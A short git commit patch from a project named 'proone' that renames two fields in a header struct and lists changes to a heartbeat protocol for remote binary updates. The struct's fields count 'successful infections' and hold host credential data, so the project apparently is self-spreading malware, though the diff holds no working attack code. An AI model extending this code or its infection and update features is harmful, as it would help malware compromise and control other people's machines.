From a0b92490365dc88d50c81780ff9ebb6ddb681e5e Mon Sep 17 00:00:00 2001 From: David Timber Date: Wed, 21 Jul 2021 20:13:27 +1000 Subject: Impl proone-htbtclient upbin, bug fixes ... * Add prne_start_bin_rcb_compat() * PRNE_HTBT_OP_NY_BIN -> PRNE_HTBT_OP_UP_BIN. "nybin" is now the name of the file format * htbt * Fix broken hover redirection (HTBT_LMK_HOVER removed) * HTBT_MAIN_REQ_Q_SIZE * Impl PRNE_HTBT_OP_NOOP response * Fix PRNE_HTBT_OP_SOLICIT is always sent with id 1 * proone * Fix bugs caused by not scrubbing the shared global memory * Fix exec() fail when upbin request with args * Removed do_recombination() as it's not efficient. Now the authoritive end has to do the recombination * PRNE_HTBT_OP_RCB, PRNE_HTBT_STATUS_SUB reserved for future impl --- src/proone.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'src/proone.h') diff --git a/src/proone.h b/src/proone.h index 073996b..5b73185 100644 --- a/src/proone.h +++ b/src/proone.h @@ -71,8 +71,8 @@ struct prne_shared_global { // Number of successful infections. uint64_t infect_cnt; // null-terminated path to the new binary image - char ny_bin_path[256]; - char ny_bin_args[1024]; + char upbin_path[256]; + char upbin_args[1024]; size_t host_cred_len; uint8_t host_cred_data[255]; }; -- cgit